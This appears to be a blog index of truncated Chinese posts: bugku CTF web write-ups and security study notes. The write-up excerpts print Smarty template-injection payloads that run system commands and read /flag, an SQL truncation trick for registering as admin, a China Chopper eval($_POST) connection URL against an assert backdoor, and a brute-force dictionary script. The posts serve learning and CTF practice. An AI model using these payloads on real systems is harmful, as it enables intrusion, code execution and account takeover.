CTF-web-011
题目源:bugku web
聪明的PHP得题检测是不是模板漏洞从执行情况可以看出是模板漏洞。
常用payload{if phpinfo()}{/if}{if system('ls')}{/if}{if readfile('/flag')}{/if} {if show_source('/flag')}{/if}{if system('cat ../../../flag')}{/if} smarty中的{if}标签中可以执行php语句
引入上面的知识,构造本题的Payload
passthru — 执行外部程序并且显示原始输出passthru(string $command, int &$result_code = null): ?falsecommand 要执行的命令。res ...
CTF-web-010
login1解题
题目提示:SQL约束攻击网上查查资料不难发现,它的原理大概是这样子的:
SQL数据库在建造数据库之初,会限制数据的存储位数,例如用户名限制为10位而且,存储在数据库当中的数据,会自动将表数据后面的空格省略,自然就只剩下了前面的数据。这种情况有一种前提情况,就是提供服务的网站提供注册时,用户名有没有唯一性,有没有限制为用户名的数据量大小这种情况下的解题思路:1.注册用户名时,使用admin 1进行注册,密码自定义为admin1A2.使用admin+admin1A进行登录,得到信息或者flag
结论SQL约束攻击
指限制SQL数据表的初始限制条件指借着限制条件注册为超级用户
速度要快解题题目没提示多少信息,源码也只有简单的一句话。尝试使用Python抓包,并且抓上头部信息题目提示的“快”字的含义是:数据包是临时的,需要会话维持,即session。
def func(url): nux = requests.session() text1=nux.get(url) prin ...
CTF-web-009
shell解题得到的信息有最重要的
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])简单分析:1.将传入的字符串按“#” 进行拆分2.将每个拆分出来的字母单独取出来3.get传参解题方向:使用url传入变量s的值,尝试是不是有代码执行漏洞
简单鉴定下,如下:既然存在这种漏洞,那接下来就简单多了。这里分享两种办法:
菜刀连接连接的语句如下,使用菜刀连接的过程就不赘述了http://114.67.175.224:15800/?s=@eval($_POST[%27caidao%27])
使用url进行payload访问目录信息
http://114.67.175.224:15800/?s=print_r(scandir(%27./%27))返回信息Array ( [0] => . [1] => .. [ ...
CTF-web-008
题库来源:bugku题型:web
Cookie欺骗解题
首先,得到题目信息
1. cookies欺骗2. url信息:http://114.67.175.224:15562/index.php?line=&filename=a2V5cy50eHQ= 参数解释 line= 传入行号,目前为空 filename=a2V5cy50eHQ= 传入文件名,文件名编码为base64 a2V5cy50eHQ= base64编码,解码为:key.txt3. 对应的key.txt信息rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdi ...
CTF-web-007
好像需要密码题目;;根据提示,这是个数值爆破,理论上只需要按照数值进行爆破就行。;;但是关键点在于这东西实在是太慢了……简单写个python生成字典,字典的值是10000到99999的:
with open("1.txt","w") as file: for i in range(10000,100000): file.write(str(i)+'\n')
将生成的字典载入进去进行爆破,没几分钟就得到了flag:
总结题型:数值爆破技巧:先生成字典再进行爆破
备份是个好东西题目尝试使用md5解码
对代码进行分析
<?php/** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22*/include_once "flag.php";ini_set("display_errors", 0);// PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设 ...
SEC-学习2023版-0030
模板技术形态引入模板技术:格式形如:
<html> <head> <title>{Title}</title> </head></html>
获取{Title}并且进行替换。
介绍html专门做视图php代码专门做模板替换 => 调用数据库数据,按模板填充数据并且替换到html当中
新闻列表1、数据库创建新闻存储2、代码连接数据库读取3、页面进行自定义显示
自写模版引用1、页面显示样式编排2、显示数据插入页面3、引用模版调用触发
Smarty模版引用下载:https://github.com/smarty-php/smarty/releases使用:1、创建一个文件夹,命名为smarty-demo。2、下载Smarty对应版本并解压缩到该文件夹中。3、创建一个PHP文件,命名为index.php,并在文件中添加以下代码:
<?php// 引入 Smarty 类文件require('smarty-demo/libs/Smart ...
SEC-2023版学习-0029
安全开发-PHP-文件管理
token模块核心
注意:1.浏览器的插件可能会影响token的使用,例如插件在你发出请求后重新刷新请求,导致数据包永远是不唯一的。2.token使用的是session的会话维持3.token是唯一的。
我的个人理解:
1.session的会话维持的特性,加入session的值在一定时间内是恒定不变的2.利用生成算法等方式,创建一个唯一的token,并且传递给表单,让表单隐性提交过来3.当表单提交的token值与服务器对不上时(!==),服务器更新token值。4.当表单正确时,将token再次更新,确保数据包的唯一性。作用:确保数据包的唯一性,相当于强制用户必须使用当前页面登录。(反正每一次访问都会刷新token,并且想要破解token几乎不可能,除非程序员的设计有问题等。)
<?phpsession_start();$token = $_POST['token'] ?? '';// 甄别条件从$_POST['submit']转换为甄别token是否正确if ($token !== ...
SEC-2022版-0002-域名/DNS/数据包
基础
网站搭建前置知识域名,子域名,DNS概念域名:形如www.xiaodi8.com,www是二级域名,xiaodi8.com是一级域名。域名解析限制:国内域名必须备案,大陆外服务器不用备案也能访问,按量付费解决访问的月费过贵问题。访问限制:服务器的安全组配置
域名注册国内域名注册商:阿里云万网。
域名对安全的意义
增加渗透人员对网站的攻击面,提高了攻击的成功率
增加暴力猜测难度
本地hosts文件-DNSDNS是将域名解析为 IP 地址的分布式数据库系统。
Windows本地host文件存放地址:“C:\Windows\System32\drivers\etc\hosts”
# 打开文件后显示如下映射关系127.0.0.1 127.0.0.11127.0.0.1 www.banding.com# 格式:# IP地址 域名# 将IP地址 映射为某个域名# CMD清除DNS缓存:ipconfig /flushdns# Linux由于发行版较多的原因,清除修改hosts文件的形式较多,暂不赘述
域名解析通过主机名称获取IP地址的过程
浏览器搜索域名的过程
递归服务器获取记录存 ...
SEC-2022版-0001-专业术语/反弹shell
22版学习日志-基础
渗透测试专业术语POC+EXP+Payload+Shellcode
POC 全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。 (漏洞验证)EXP 全称 ' Exploit ',中文 ' 利用 ',指利用系统漏洞进行攻击的动作。 (漏洞利用★)Payload 中文 ' 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。 (代码执行)Shellcode 简单翻译 ' shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名。 (权限通道)
后门/WebShell,木马/病毒,反弹,回显,跳板,黑白盒测试,暴力破解,撞库,ATT&CK等
webshell :网站后门的专称木马 :控制,实行操作。病毒 :破坏性质。反弹 :权限反弹出到其他地方进行控制。例如弹出root用户权限,在别的地方利用这个权限读取后台文件等等 ...
SEC学习2023版-0026
文件上传+文件路径访问
PHP文件操作安全PHP开发的目的:通过开发思考开发的安全问题。
文件包含,文件上传,文件下载,文件删除,文件写入,文件遍历
文件管理模块-上传-过滤机制1、无过滤机制2、黑名单过滤机制3、白名单过滤机制4、文件类型过滤机制
架构:1、上传至服务器本身的存储磁盘->有解析的可能2、借助云产品OSS存储对象去存储文件->后门无法解析,但OSS有泄露风险(例如JS泄露oss的连接账密)。3、把文件上传到其他域上。(可能存在单纯存放文件的域名,类型OSS的那种。如果分离时是存入OSS就没法执行后面程序了。)传递到OSS的解决办法:找到key漏洞。网站越复杂,漏洞越多。
$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。$_FILES["表单值"]["name"] 获取上传文件原始名称$_FILES["表单值"]["type"] 获取上传文件MIM ...